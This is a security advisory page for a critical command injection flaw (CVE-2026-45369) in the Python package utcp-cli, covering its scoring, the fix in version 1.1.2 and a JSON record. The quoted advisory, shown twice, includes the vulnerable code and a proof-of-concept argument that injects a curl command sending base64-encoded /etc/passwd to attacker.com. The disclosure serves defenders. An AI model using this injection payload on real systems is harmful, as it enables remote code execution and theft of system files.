CVE-2026-45369: Utcp cli Utcp-cli Vulnerable To Command Injection Vulnerability

CRITICAL
Advisory Identifier: GHSA-33p6-5jxp-p3x4
CVSS 10.0
CWE-78
Published
Advisory Summary

CVE-2026-45369 is a CRITICAL (CVSS 10.0) utcp-cli vulnerable to command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Utcp cli libraries in the PyPI ecosystem. The issue involves utcp-cli vulnerable to command injection via unsanitized argument substitution in cli communication protocol. Remediation is available by upgrading affected packages to version 1.1.2.

CVE-2026-45369 at a Glance

CVE Identifier CVE-2026-45369
GHSA Identifier GHSA-33p6-5jxp-p3x4
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Utcp cli
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-45369

To remediate this vulnerability, upgrade all affected Utcp cli dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

utcp-cli fixed: 1.1.2
pip install utcp-cli>=1.1.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show utcp-cli

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-45369, inspect your installed packages using pip:

pip show utcp-cli

Analyze the terminal output to locate any version of Utcp cli in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.2), your application is affected.

Note: The pip show utcp-cli command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Utcp cli, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands. ## Affected File `plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py` ## Vulnerable Code ```python def replace_placeholder(match): arg_name = match.group(1) if arg_name in tool_args: return str(tool_args[arg_name]) # No escaping applied ``` The substituted command is then embedded directly into a shell script: ```python script_lines.append(f'{var_name}=$({substituted_command} 2>&1)') ``` And executed via: ```python shell_cmd = ['/bin/bash', '-c', script] ``` ## Proof of Concept Given a tool defined as: ```json {"command": "python script.py --input UTCP_ARG_filename_UTCP_END"} ``` Calling with: ```python tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"} ``` Produces and executes: ```bash CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1) ``` This results in full Remote Code Execution on the host system. ## Patched Fixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `&`, backticks, `$()`, newlines). **Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now use one placeholder per intended argument. ## Mitigation Upgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`. ## Credit Reported by @ZeroXJacks.

CVE-2026-45369 Affected Utcp cli Versions

1 component(s)
Fixed Versions:
1.1.2
Product / Package Ecosystem Affected Versions Fixed Version
utcp-cli
PyPI
< 1.1.2
1.1.2

References

Frequently Asked Questions

What is CVE-2026-45369?
CVE-2026-45369 is a security vulnerability in Utcp cli involving utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Utcp cli versions are affected?
Affected versions include releases prior to 1.1.2 across affected packages: utcp-cli.
What version fixes CVE-2026-45369?
Upgrading to 1.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is utcp-cli affected?
Yes, utcp-cli is affected in releases prior to 1.1.2. Upgrade your dependency to 1.1.2 or later.
What is the CVSS score of CVE-2026-45369?
CVE-2026-45369 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-45369?
CVE-2026-45369 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-45369?
Run the dependency tree command: 'pip show utcp-cli'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-33p6-5jxp-p3x4",
  "modified" : "2026-05-15T23:46:56Z",
  "published" : "2026-05-14T20:56:01Z",
  "aliases" : [ "CVE-2026-45369" ],
  "summary" : "utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol",
  "details" : "## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n\n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f'{var_name}=$({substituted_command} 2>&1)')\n```\n\nAnd executed via:\n\n```python\nshell_cmd = ['/bin/bash', '-c', script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `&`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "utcp-cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45369"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/universal-tool-calling-protocol/python-utcp"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:56:01Z",
    "nvd_published_at" : "2026-05-14T21:16:48Z"
  }
}